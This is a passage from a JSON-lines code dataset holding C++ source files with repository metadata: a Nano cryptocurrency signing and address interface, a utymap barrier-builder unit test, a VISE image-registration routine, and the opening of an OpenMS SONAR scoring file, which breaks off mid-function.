"max_forks_repo_head_hexsha": "935b770fa857e67b705717d154b11b717741edeb", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2022-01-17T09:34:39.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-17T09:34:39.000Z", "avg_line_length": 22.9369536424, "max_line_length": 201, "alphanum_fraction": 0.5879981983, "num_tokens": 30903, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.2942149845400438, "lm_q1q2_score": 0.14940585979815696}}
{"text": "#include <nano/lib/interface.h>\n\n#include <crypto/xxhash/xxhash.h>\n\n#include <crypto/ed25519-donna/ed25519.h>\n\n#include <crypto/blake2/blake2.h>\n\n#include <boost/property_tree/json_parser.hpp>\n\n#include <nano/lib/blocks.hpp>\n#include <nano/lib/numbers.hpp>\n#include <nano/lib/work.hpp>\n\n#include <cstring>\n\nextern \"C\" {\nvoid xrb_uint128_to_dec (xrb_uint128 source, char * destination)\n{\n\tauto const & number (*reinterpret_cast<nano::uint128_union *> (source));\n\tstrncpy (destination, number.to_string_dec ().c_str (), 40);\n}\n\nvoid xrb_uint256_to_string (xrb_uint256 source, char * destination)\n{\n\tauto const & number (*reinterpret_cast<nano::uint256_union *> (source));\n\tstrncpy (destination, number.to_string ().c_str (), 65);\n}\n\nvoid xrb_uint256_to_address (xrb_uint256 source, char * destination)\n{\n\tauto const & number (*reinterpret_cast<nano::uint256_union *> (source));\n\tstrncpy (destination, number.to_account ().c_str (), 65);\n}\n\nvoid xrb_uint512_to_string (xrb_uint512 source, char * destination)\n{\n\tauto const & number (*reinterpret_cast<nano::uint512_union *> (source));\n\tstrncpy (destination, number.to_string ().c_str (), 129);\n}\n\nint xrb_uint128_from_dec (const char * source, xrb_uint128 destination)\n{\n\tauto & number (*reinterpret_cast<nano::uint128_union *> (destination));\n\tauto error (number.decode_dec (source));\n\treturn error ? 1 : 0;\n}\n\nint xrb_uint256_from_string (const char * source, xrb_uint256 destination)\n{\n\tauto & number (*reinterpret_cast<nano::uint256_union *> (destination));\n\tauto error (number.decode_hex (source));\n\treturn error ? 1 : 0;\n}\n\nint xrb_uint512_from_string (const char * source, xrb_uint512 destination)\n{\n\tauto & number (*reinterpret_cast<nano::uint512_union *> (destination));\n\tauto error (number.decode_hex (source));\n\treturn error ? 1 : 0;\n}\n\nint xrb_valid_address (const char * account_a)\n{\n\tnano::uint256_union account;\n\tauto error (account.decode_account (account_a));\n\treturn error ? 1 : 0;\n}\n\nvoid xrb_generate_random (xrb_uint256 seed)\n{\n\tauto & number (*reinterpret_cast<nano::uint256_union *> (seed));\n\tnano::random_pool::generate_block (number.bytes.data (), number.bytes.size ());\n}\n\nvoid xrb_seed_key (xrb_uint256 seed, int index, xrb_uint256 destination)\n{\n\tauto & seed_l (*reinterpret_cast<nano::uint256_union *> (seed));\n\tauto & destination_l (*reinterpret_cast<nano::uint256_union *> (destination));\n\tnano::deterministic_key (seed_l, index, destination_l);\n}\n\nvoid xrb_key_account (const xrb_uint256 key, xrb_uint256 pub)\n{\n\ted25519_publickey (key, pub);\n}\n\nchar * xrb_sign_transaction (const char * transaction, const xrb_uint256 private_key)\n{\n\tchar * result (nullptr);\n\ttry\n\t{\n\t\tboost::property_tree::ptree block_l;\n\t\tstd::string transaction_l (transaction);\n\t\tstd::stringstream block_stream (transaction_l);\n\t\tboost::property_tree::read_json (block_stream, block_l);\n\t\tauto block (nano::deserialize_block_json (block_l));\n\t\tif (block != nullptr)\n\t\t{\n\t\t\tnano::uint256_union pub;\n\t\t\ted25519_publickey (private_key, pub.bytes.data ());\n\t\t\tnano::raw_key prv;\n\t\t\tprv.data = *reinterpret_cast<nano::uint256_union *> (private_key);\n\t\t\tblock->signature_set (nano::sign_message (prv, pub, block->hash ()));\n\t\t\tauto json (block->to_json ());\n\t\t\tresult = reinterpret_cast<char *> (malloc (json.size () + 1));\n\t\t\tstrncpy (result, json.c_str (), json.size () + 1);\n\t\t}\n\t}\n\tcatch (std::runtime_error const &)\n\t{\n\t}\n\treturn result;\n}\n\nchar * xrb_work_transaction (const char * transaction)\n{\n\tchar * result (nullptr);\n\ttry\n\t{\n\t\tboost::property_tree::ptree block_l;\n\t\tstd::string transaction_l (transaction);\n\t\tstd::stringstream block_stream (transaction_l);\n\t\tboost::property_tree::read_json (block_stream, block_l);\n\t\tauto block (nano::deserialize_block_json (block_l));\n\t\tif (block != nullptr)\n\t\t{\n\t\t\tnano::work_pool pool (boost::thread::hardware_concurrency ());\n\t\t\tauto work (pool.generate (block->root ()));\n\t\t\tblock->block_work_set (work);\n\t\t\tauto json (block->to_json ());\n\t\t\tresult = reinterpret_cast<char *> (malloc (json.size () + 1));\n\t\t\tstrncpy (result, json.c_str (), json.size () + 1);\n\t\t}\n\t}\n\tcatch (std::runtime_error const &)\n\t{\n\t}\n\treturn result;\n}\n\n#include <crypto/ed25519-donna/ed25519-hash-custom.h>\nvoid ed25519_randombytes_unsafe (void * out, size_t outlen)\n{\n\tnano::random_pool::generate_block (reinterpret_cast<uint8_t *> (out), outlen);\n}\nvoid ed25519_hash_init (ed25519_hash_context * ctx)\n{\n\tctx->blake2 = new blake2b_state;\n\tblake2b_init (reinterpret_cast<blake2b_state *> (ctx->blake2), 64);\n}\n\nvoid ed25519_hash_update (ed25519_hash_context * ctx, uint8_t const * in, size_t inlen)\n{\n\tblake2b_update (reinterpret_cast<blake2b_state *> (ctx->blake2), in, inlen);\n}\n\nvoid ed25519_hash_final (ed25519_hash_context * ctx, uint8_t * out)\n{\n\tblake2b_final (reinterpret_cast<blake2b_state *> (ctx->blake2), out, 64);\n\tdelete reinterpret_cast<blake2b_state *> (ctx->blake2);\n}\n\nvoid ed25519_hash (uint8_t * out, uint8_t const * in, size_t inlen)\n{\n\ted25519_hash_context ctx;\n\ted25519_hash_init (&ctx);\n\ted25519_hash_update (&ctx, in, inlen);\n\ted25519_hash_final (&ctx, out);\n}\n}\n", "meta": {"hexsha": "0ea23266bb36a6b31e729ee55317250ae5666351", "size": 5059, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "nano/lib/interface.cpp", "max_stars_repo_name": "SantiaGoMode/dynano", "max_stars_repo_head_hexsha": "8face685bb1a6b60930ada1bdfd8af490f51bb35", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2020-08-07T01:10:51.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-17T04:01:54.000Z", "max_issues_repo_path": "nano/lib/interface.cpp", "max_issues_repo_name": "SantiaGoMode/dynano", "max_issues_repo_head_hexsha": "8face685bb1a6b60930ada1bdfd8af490f51bb35", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "nano/lib/interface.cpp", "max_forks_repo_name": "SantiaGoMode/dynano", "max_forks_repo_head_hexsha": "8face685bb1a6b60930ada1bdfd8af490f51bb35", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2021-05-27T03:23:25.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-27T03:23:25.000Z", "avg_line_length": 29.4127906977, "max_line_length": 87, "alphanum_fraction": 0.7268234829, "num_tokens": 1381, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.2942149597859341, "lm_q1q2_score": 0.14940584722772635}}
{"text": "#include \"builders/misc/BarrierBuilder.hpp\"\n#include \"entities/Way.hpp\"\n\n#include <boost/test/unit_test.hpp>\n#include \"test_utils/DependencyProvider.hpp\"\n#include \"test_utils/ElementUtils.hpp\"\n\nusing namespace utymap;\nusing namespace utymap::builders;\nusing namespace utymap::entities;\nusing namespace utymap::math;\n\nnamespace {\n    const std::string stylesheet = \"way|z16[barrier] {\" \n                                        \"height:2m; min-height:0m;\"\n                                        \"color:gradient(red);\"\n                                        \"offset:0.2m;\"\n                                    \"}\";\n    struct Builders_Misc_BarrierBuilderFixture\n    {\n        DependencyProvider dependencyProvider;\n    };\n}\n\nBOOST_FIXTURE_TEST_SUITE(Builders_Misc_BarrierBuilder, Builders_Misc_BarrierBuilderFixture)\n\nBOOST_AUTO_TEST_CASE(GivenBarrier_WhenVisitWay_ThenMeshIsBuilt)\n{\n    bool isCalled = false;\n    auto context = dependencyProvider.createBuilderContext(QuadKey(16, 1, 1), stylesheet,\n        [&](const Mesh& mesh) {\n            isCalled = true;\n            BOOST_CHECK_GT(mesh.vertices.size(), 0);\n            BOOST_CHECK_GT(mesh.triangles.size(), 0);\n            BOOST_CHECK_GT(mesh.colors.size(), 0);\n    });\n    BarrierBuilder builder(*context);\n    Way way = ElementUtils::createElement<Way>(*dependencyProvider.getStringTable(), 0,\n    { { \"barrier\", \"yes\" } },\n    { { 0, 0 }, { 0, 10 }, { 10, 10 }, { 10, 0 } });\n\n    builder.visitWay(way);\n\n    BOOST_CHECK(isCalled);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n", "meta": {"hexsha": "031e3551650d654b057a23aa64acc8f4f608d3e5", "size": 1522, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "core/test/builders/misc/BarrierBuilderTest.cpp", "max_stars_repo_name": "lonnibesancon/utymap", "max_stars_repo_head_hexsha": "6d14a3d1386aade8c2755da4abc00269284c90d4", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2019-04-04T14:20:37.000Z", "max_stars_repo_stars_event_max_datetime": "2019-04-04T14:20:37.000Z", "max_issues_repo_path": "core/test/builders/misc/BarrierBuilderTest.cpp", "max_issues_repo_name": "lonnibesancon/utymap", "max_issues_repo_head_hexsha": "6d14a3d1386aade8c2755da4abc00269284c90d4", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "core/test/builders/misc/BarrierBuilderTest.cpp", "max_forks_repo_name": "lonnibesancon/utymap", "max_forks_repo_head_hexsha": "6d14a3d1386aade8c2755da4abc00269284c90d4", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.7083333333, "max_line_length": 91, "alphanum_fraction": 0.6261498029, "num_tokens": 354, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.2942149597859341, "lm_q1q2_score": 0.14940584722772635}}
{"text": "/*\n==== Author:\n\nRelja Arandjelovic (relja@robots.ox.ac.uk)\nVisual Geometry Group,\nDepartment of Engineering Science\nUniversity of Oxford\n\n==== Copyright:\n\nThe library belongs to Relja Arandjelovic and the University of Oxford.\nNo usage or redistribution is allowed without explicit permission.\n*/\n\n#include \"register_images.h\"\n\n#include <algorithm>\n#include <math.h>\n#include <vector>\n\n#include <boost/thread.hpp>\n#include <boost/filesystem.hpp>\n\n#include <Magick++.h>\n\n#include \"ellipse.h\"\n#include \"feat_getter.h\"\n#include \"feat_standard.h\"\n#include \"putative.h\"\n#include \"det_ransac.h\"\n#include \"macros.h\"\n\n\n\n//---- stuff for parallel feature extraction\n\nclass featWorker {\n\n    public:\n\n        featWorker( featGetter *aFeatGetterObj, const char aFn[], double aXl, double aXu, double aYl, double aYu, uint32_t &aNumFeats, std::vector<ellipse> &aRegions, float *&aDescs ) : featGetterObj(aFeatGetterObj), fn(aFn), xl(aXl), xu(aXu), yl(aYl), yu(aYu), numFeats(&aNumFeats), regions(&aRegions), descs(&aDescs)\n            {}\n\n    void\n        operator()(){\n            featGetterObj->getFeats( fn,\n                            static_cast<uint32_t>(xl), static_cast<uint32_t>(xu),\n                            static_cast<uint32_t>(yl), static_cast<uint32_t>(yu),\n                            *numFeats, *regions, *descs );\n        }\n\n    private:\n        featGetter *featGetterObj;\n        const char *fn;\n        double xl, xu, yl, yu;\n        uint32_t *numFeats;\n        std::vector<ellipse> *regions;\n        float **descs;\n\n};\n\n//----\n\n\n\nvoid\nregisterImages::registerFromGuess(\n        sameRandomUint32 const &sameRandomObj,\n        const char image_fn1[], const char image_fn2[],\n        double xl, double xu, double yl, double yu,\n        homography &Hinit,\n        const char outFn1[], const char outFn2[], const char outFn2t[],\n        const char *fullSizeFn1, const char *fullSizeFn2 ) {\n\n    static const double expandOutBy= 0.1;\n    featGetter *featGetterObj= new featGetter_standard( \"hesaff-rootsift\" );\n\n    bool fullSizeExist= false;\n    if (fullSizeFn1!=NULL || fullSizeFn2!=NULL)\n        fullSizeExist= true;\n    if (fullSizeFn1==NULL) fullSizeFn1= image_fn1;\n    if (fullSizeFn2==NULL) fullSizeFn2= image_fn2;\n\n    Magick::Image im1; im1.read( fullSizeFn1 );\n    Magick::Image im2; im2.read( fullSizeFn2 );\n    Magick::Image im2t;\n\n    if (fullSizeExist) {\n        // modify Hinit to account for scale change\n        Magick::Image imSmall1; imSmall1.read( image_fn1 );\n        Magick::Image imSmall2; imSmall2.read( image_fn2 );\n        double sc1w= static_cast<double>(im1.columns())/imSmall1.columns();\n        double sc2w= static_cast<double>(im2.columns())/imSmall2.columns();\n        double sc1h= static_cast<double>(im1.rows())/imSmall1.rows();\n        double sc2h= static_cast<double>(im2.rows())/imSmall2.rows();\n        double sc21w= sc2w/sc1w, sc21h= sc2h/sc1h;\n        Hinit.H[0]*= sc21w;\n        Hinit.H[1]*= sc21w;\n        Hinit.H[2]*= sc2w;\n        Hinit.H[3]*= sc21h;\n        Hinit.H[4]*= sc21h;\n        Hinit.H[5]*= sc2h;\n        xl*= sc1w; xu*= sc1w;\n        yl*= sc1h; yu*= sc1h;\n    }\n\n    homography H= Hinit;\n\n    uint32_t numFeats1, numFeats2, bestNInliers;\n    float *descs1, *descs2;\n    std::vector<ellipse> regions1, regions2;\n\n    boost::thread *thread1, *thread2;\n\n    // compute RootSIFT: image 1\n\n    thread1= new boost::thread( featWorker( featGetterObj, fullSizeFn1, xl, xu, yl, yu, numFeats1, regions1, descs1 ) );\n\n\n    bool firstGo= true, extractFinished1= false;\n    uint32_t loopNum_= 0;\n\n    boost::filesystem::path tmpdir = boost::filesystem::temp_directory_path();\n    boost::filesystem::path tmpfn = tmpdir / boost::filesystem::unique_path(\"vise_rr_register_%%%%%%%%%%%%%%%%.jpg\");\n    std::string fullSizeFn2_t = tmpfn.string();\n\n    matchesType inlierInds;\n\n    while (1){\n\n        if (!firstGo){\n\n            // compute RootSIFT: image 2\n\n            thread2= new boost::thread( featWorker( featGetterObj, fullSizeFn2_t.c_str(), xl, xu, yl, yu, numFeats2, regions2, descs2 ) );\n\n            // wait for feature extraction of image 1 to finish\n            if (!extractFinished1){\n                thread1->join();\n                delete thread1;\n                extractFinished1= true;\n            }\n\n            // wait for feature extraction of image 2 to finish\n            thread2->join();\n            delete thread2;\n\n            // run RANSAC\n\n            homography Hnew;\n\n            detRansac::matchDesc(\n                sameRandomObj,\n                bestNInliers,\n                descs1, regions1,\n                descs2, regions2,\n                featGetterObj->numDims(),\n                loopNum_>1?1.0:5.0, 0.0, 1000.0, static_cast<uint32_t>(4),\n                true, 0.81f, 100.0f,\n                &Hnew, &inlierInds\n                );\n\n            bool success= bestNInliers>9;\n\n            if (!success)\n                break;\n\n            // apply new H to current H (i.e. H= H * Hnew)\n            {\n                double Happlied[9];\n                for (int i= 0; i<3; ++i)\n                    for (int j=0; j<3; ++j)\n                        Happlied[i*3+j]= H.H[i*3  ] * Hnew.H[  j] +\n                                         H.H[i*3+1] * Hnew.H[3+j] +\n                                         H.H[i*3+2] * Hnew.H[6+j];\n                H.set(Happlied);\n            }\n\n        }\n\n        H.normLast();\n\n        // im2 -> im1 transformation\n        double Hinv[9];\n        H.getInverse(Hinv);\n        homography::normLast(Hinv);\n\n        // warp image 2 into image 1\n        im2t= im2;\n        // AffineProjection(sx, rx, ry, sy, tx, ty) <=> H=[sx, ry, tx; sy, rx, ty; 0 0 1]\n        double MagickAffine[6]={Hinv[0],Hinv[3],Hinv[1],Hinv[4],Hinv[2],Hinv[5]};\n        im2t.virtualPixelMethod(Magick::BlackVirtualPixelMethod);\n        im2t.distort(Magick::AffineProjectionDistortion, 6, MagickAffine, false);\n\n        firstGo= false;\n\n        ++loopNum_;\n        if (loopNum_>1)\n            break;\n\n        im2t.write( fullSizeFn2_t.c_str() );\n    }\n\n    delete []descs1;\n    delete []descs2;\n    boost::filesystem::remove( fullSizeFn2_t );\n\n\n    // draw resulting images\n\n    double xl_= xl, xu_= xu, yl_= yl, yu_= yu;\n    double dw_= expandOutBy*(xu-xl), dh_= expandOutBy*(yu-yl);\n    xl_= std::max(0.0, xl_-dw_/2);\n    yl_= std::max(0.0, yl_-dh_/2);\n    xu_= std::min(static_cast<double>(im1.columns() ), xu_+dw_/2);\n    yu_= std::min(static_cast<double>(im1.rows()), yu_+dh_/2);\n    Magick::Geometry cropRect1(xu_-xl_, yu_-yl_, xl_, yl_);\n    double xl2_, xu2_, yl2_, yu2_;\n    findBBox2( xl_, xu_, yl_, yu_, H, xl2_, xu2_, yl2_, yu2_, im2.columns(), im2.rows() );\n    Magick::Geometry cropRect2(xu2_-xl2_, yu2_-yl2_, xl2_, yl2_);\n\n    im1.crop( cropRect1 );\n    im1.write( outFn1 );\n    im2.crop( cropRect2 );\n    im2.write( outFn2 );\n    im2t.crop( cropRect1 );\n    im2t.write( outFn2t );\n\n    delete featGetterObj;\n}\n\n\n\nvoid\nregisterImages::registerFromQuery(\n        query const &query_obj,\n        const char inFn1[], uint32_t docID2,\n        datasetAbs const &datasetObj,\n        spatialRetriever const &spatialRetriever_obj,\n        const char outFn1[], const char outFn2[], const char outFn2t[],\n        const char *fullSizeFn1, const char *fullSizeFn2 ) {\n    homography H;\n    std::vector< std::pair<ellipse,ellipse> > matches;\n    spatialRetriever_obj.get_matches_using_query( query_obj, docID2, H, matches );\n    std::string image_fn1= inFn1;\n    if (query_obj.isInternal)\n        image_fn1= datasetObj.getFn( query_obj.docID );\n    std::string image_fn2= datasetObj.getFn( docID2 );\n\n    registerImages::registerFromGuess( *(spatialRetriever_obj.getSameRandom()), image_fn1.c_str(), image_fn2.c_str(), query_obj.xl, query_obj.xu, query_obj.yl, query_obj.yu, H, outFn1, outFn2, outFn2t, fullSizeFn1, fullSizeFn2 );\n\n}\n\n\nvoid\nregisterImages::findBBox2( double xl, double xu, double yl, double yu, homography const &H, double &xl2, double &xu2, double &yl2, double &yu2, uint32_t w2, uint32_t h2 ){\n\n    ASSERT( fabs(H.H[8]-1.0)<1e-5 );\n\n    xl2= 10000; xu2= -10000; yl2= 10000; yu2= -10000;\n    double x_, y_;\n\n    homography::affTransform(H.H, xl, yl, x_, y_);\n    xl2= std::min(xl2,x_); xu2= std::max(xu2,x_); yl2= std::min(yl2,y_); yu2= std::max(yu2,y_);\n\n    homography::affTransform(H.H, xl, yu, x_, y_);\n    xl2= std::min(xl2,x_); xu2= std::max(xu2,x_); yl2= std::min(yl2,y_); yu2= std::max(yu2,y_);\n\n    homography::affTransform(H.H, xu, yl, x_, y_);\n    xl2= std::min(xl2,x_); xu2= std::max(xu2,x_); yl2= std::min(yl2,y_); yu2= std::max(yu2,y_);\n\n    homography::affTransform(H.H, xu, yu, x_, y_);\n    xl2= std::min(xl2,x_); xu2= std::max(xu2,x_); yl2= std::min(yl2,y_); yu2= std::max(yu2,y_);\n\n    xl2= std::max(0.0,xl2);\n    yl2= std::max(0.0,yl2);\n    xu2= std::min(xu2,static_cast<double>(w2));\n    yu2= std::min(yu2,static_cast<double>(h2));\n\n}\n", "meta": {"hexsha": "b240f6a6df3b316b7c205d03e8c6e23a39727cdd", "size": 8849, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/search_engine/relja_retrival/matching/registration/register_images.cpp", "max_stars_repo_name": "alexanderwilkinson/visenew", "max_stars_repo_head_hexsha": "8e494355b0f88466c0abb4b8f3bfecc150b91111", "max_stars_repo_licenses": ["ImageMagick", "BSD-2-Clause"], "max_stars_count": 43.0, "max_stars_repo_stars_event_min_datetime": "2017-07-06T23:44:39.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T06:53:29.000Z", "max_issues_repo_path": "src/search_engine/relja_retrival/matching/registration/register_images.cpp", "max_issues_repo_name": "alexanderwilkinson/visenew", "max_issues_repo_head_hexsha": "8e494355b0f88466c0abb4b8f3bfecc150b91111", "max_issues_repo_licenses": ["ImageMagick", "BSD-2-Clause"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2018-11-09T03:52:14.000Z", "max_issues_repo_issues_event_max_datetime": "2020-03-25T14:08:33.000Z", "max_forks_repo_path": "src/search_engine/relja_retrival/matching/registration/register_images.cpp", "max_forks_repo_name": "alexanderwilkinson/visenew", "max_forks_repo_head_hexsha": "8e494355b0f88466c0abb4b8f3bfecc150b91111", "max_forks_repo_licenses": ["ImageMagick", "BSD-2-Clause"], "max_forks_count": 9.0, "max_forks_repo_forks_event_min_datetime": "2017-07-27T10:55:55.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-15T13:42:43.000Z", "avg_line_length": 31.4911032028, "max_line_length": 318, "alphanum_fraction": 0.5981466832, "num_tokens": 2766, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118493816807, "lm_q2_score": 0.2942149659744614, "lm_q1q2_score": 0.1494058459872595}}
{"text": "// --------------------------------------------------------------------------\n//                   OpenMS -- Open-Source Mass Spectrometry\n// --------------------------------------------------------------------------\n// Copyright The OpenMS Team -- Eberhard Karls University Tuebingen,\n// ETH Zurich, and Freie Universitaet Berlin 2002-2020.\n//\n// This software is released under a three-clause BSD license:\n//  * Redistributions of source code must retain the above copyright\n//    notice, this list of conditions and the following disclaimer.\n//  * Redistributions in binary form must reproduce the above copyright\n//    notice, this list of conditions and the following disclaimer in the\n//    documentation and/or other materials provided with the distribution.\n//  * Neither the name of any author or any participating institution\n//    may be used to endorse or promote products derived from this software\n//    without specific prior written permission.\n// For a full list of authors, refer to the file AUTHORS.\n// --------------------------------------------------------------------------\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n// ARE DISCLAIMED. IN NO EVENT SHALL ANY OF THE AUTHORS OR THE CONTRIBUTING\n// INSTITUTIONS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n// OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n// WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n// ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n//\n// --------------------------------------------------------------------------\n// $Maintainer: Hannes Roest $\n// $Authors: Hannes Roest $\n// --------------------------------------------------------------------------\n\n#include <OpenMS/ANALYSIS/OPENSWATH/SONARScoring.h>\n\n#include <OpenMS/ANALYSIS/OPENSWATH/DIAScoring.h>\n#include <OpenMS/ANALYSIS/OPENSWATH/DIAHelper.h>\n#include <OpenMS/OPENSWATHALGO/ALGO/StatsHelpers.h>\n\n#include <OpenMS/MATH/STATISTICS/LinearRegression.h>\n#include <OpenMS/MATH/STATISTICS/StatisticFunctions.h>\n\n#include <OpenMS/OPENSWATHALGO/ALGO/Scoring.h>\n\n#include <boost/cast.hpp>\n\n// #define DEBUG_SONAR\n\nnamespace OpenMS\n{\n  SONARScoring::SONARScoring() :\n    DefaultParamHandler(\"SONARScoring\")\n  {\n    defaults_.setValue(\"dia_extraction_window\", 0.05, \"DIA extraction window in Th or ppm.\");\n    defaults_.setMinFloat(\"dia_extraction_window\", 0.0);\n    defaults_.setValue(\"dia_extraction_unit\", \"Th\", \"DIA extraction window unit\");\n    defaults_.setValidStrings(\"dia_extraction_unit\", {\"Th\",\"ppm\"});\n    defaults_.setValue(\"dia_centroided\", \"false\", \"Use centroided DIA data.\");\n    defaults_.setValidStrings(\"dia_centroided\", {\"true\",\"false\"});\n\n    // write defaults into Param object param_\n    defaultsToParam_();\n  }\n\n  void SONARScoring::updateMembers_()\n  {\n    dia_extract_window_ = (double)param_.getValue(\"dia_extraction_window\");\n    dia_extraction_ppm_ = param_.getValue(\"dia_extraction_unit\") == \"ppm\";\n    dia_centroided_ = param_.getValue(\"dia_centroided\").toBool();\n  }\n\n  void SONARScoring::computeXCorr_(std::vector<std::vector<double> >& sonar_profiles,\n                                   double& xcorr_coelution_score, double& xcorr_shape_score) const\n  {\n    /// Cross Correlation array\n    typedef OpenSwath::Scoring::XCorrArrayType XCorrArrayType;\n    /// Cross Correlation matrix\n    typedef std::vector<std::vector<XCorrArrayType> > XCorrMatrixType;\n\n    XCorrMatrixType xcorr_matrix;\n    xcorr_matrix.resize(sonar_profiles.size());\n    for (std::size_t i = 0; i < sonar_profiles.size(); i++)\n    {\n      xcorr_matrix[i].resize(sonar_profiles.size());\n      for (std::size_t j = i; j < sonar_profiles.size(); j++)\n      {\n        // compute normalized cross correlation\n        xcorr_matrix[i][j] = OpenSwath::Scoring::normalizedCrossCorrelation(\n                                  sonar_profiles[i], sonar_profiles[j], boost::numeric_cast<int>(sonar_profiles[i].size()), 1);\n      }\n    }\n\n    // coelution (lag score)\n    std::vector<int> deltas;\n    for (std::size_t i = 0; i < xcorr_matrix.size(); i++)\n    {\n      for (std::size_t  j = i; j < xcorr_matrix.size(); j++)\n      {\n        // first is the lag value, should be an int\n        deltas.push_back(std::abs(OpenSwath::Scoring::xcorrArrayGetMaxPeak(xcorr_matrix[i][j])->first));\n      }\n    }\n\n    {\n      OpenSwath::mean_and_stddev msc;\n      msc = std::for_each(deltas.begin(), deltas.end(), msc);\n      double deltas_mean = msc.mean();\n      double deltas_stdv = msc.sample_stddev();\n      xcorr_coelution_score = deltas_mean + deltas_stdv;\n    }\n\n    // shape score (intensity)\n    std::vector<double> intensities;\n    for (std::size_t i = 0; i < xcorr_matrix.size(); i++)\n    {\n      for (std::size_t j = i; j < xcorr_matrix.size(); j++)\n      {\n        // second is the Y value (intensity)\n        intensities.push_back(OpenSwath::Scoring::xcorrArrayGetMaxPeak(xcorr_matrix[i][j])->second);\n      }\n    }\n    {\n      OpenSwath::mean_and_stddev msc;\n      msc = std::for_each(intensities.begin(), intensities.end(), msc);\n      xcorr_shape_score = msc.mean();\n    }\n  }\n\n  void SONARScoring::computeSonarScores(OpenSwath::IMRMFeature* imrmfeature,\n                                        const std::vector<OpenSwath::LightTransition> & transitions,\n                                        const std::vector<OpenSwath::SwathMap>& swath_maps,\n                                        OpenSwath_Scores & scores) const\n  {\n    if (transitions.empty()) {return;}\n\n    double precursor_mz = transitions[0].getPrecursorMZ();\n\n#ifdef DEBUG_SONAR\n    std::ofstream debug_file;\n    debug_file.open(\"debug_sonar_profiles.tsv\",  std::fstream::in | std::fstream::out | std::fstream::app);\n\n    String native_id = 0;\n    if (transitions.size() > 0)\n    {\n      native_id = transitions[0].getNativeID();\n    }\n    debug_file << native_id << \"\\t\" << imrmfeature->getRT() << \"\\tcentr\";\n    for (Size it = 0; it < swath_maps.size(); it++)\n    {\n      debug_file << \"\\t\" << (swath_maps[it].lower + swath_maps[it].upper) / 2.0;\n    }\n    debug_file << \"\\n\";\n\n\n    std::cout << \" doing RT \" << imrmfeature->getRT() << \" using maps: \";\n    for (Size i  = 0; i < swath_maps.size() ; i++)\n    {\n      std::cout << (swath_maps[i].lower + swath_maps[i].upper) / 2 << \" \";\n    }\n    std::cout << std::endl;\n\n    // idea 1: check the elution profile of each SONAR scan ...\n    for (Size kk = 0; kk < imrmfeature->getNativeIDs().size(); kk++)\n    {\n      std::vector<double> rt;\n      imrmfeature->getFeature(imrmfeature->getNativeIDs()[kk])->getRT(rt);\n    }\n#endif\n\n\n    // idea 2: check the SONAR profile (e.g. in the dimension of) of the best scan (RT apex)\n    double RT = imrmfeature->getRT();\n\n    // Aggregate sonar profiles (for each transition)\n    std::vector<std::vector<double> > sonar_profiles;\n    std::vector<double> sn_score;\n    std::vector<double> diff_score;\n    std::vector<double> trend_score;\n    std::vector<double> rsq_score;\n    std::vector<double> mz_median_score;\n    std::vector<double> mz_stdev_score;\n    for (Size k = 0; k < transitions.size(); k++)\n    {\n      String native_id = transitions[k].getNativeID();\n\n      // Gather profiles across all SONAR maps\n      std::vector<double> sonar_profile;\n      std::vector<double> sonar_mz_profile;\n      std::vector<bool> signal_exp;\n      for (Size swath_idx = 0; swath_idx < swath_maps.size(); swath_idx++)\n      {\n        OpenSwath::SpectrumAccessPtr swath_map = swath_maps[swath_idx].sptr;\n\n        bool expect_signal = false;\n        if (swath_maps[swath_idx].ms1) {continue;} // skip MS1\n        if (precursor_mz > swath_maps[swath_idx].lower && precursor_mz < swath_maps[swath_idx].upper)\n        {\n          expect_signal = true;\n        }\n\n        // find closest scan for current SONAR map (by retention time)\n        std::vector<std::size_t> indices = swath_map->getSpectraByRT(RT, 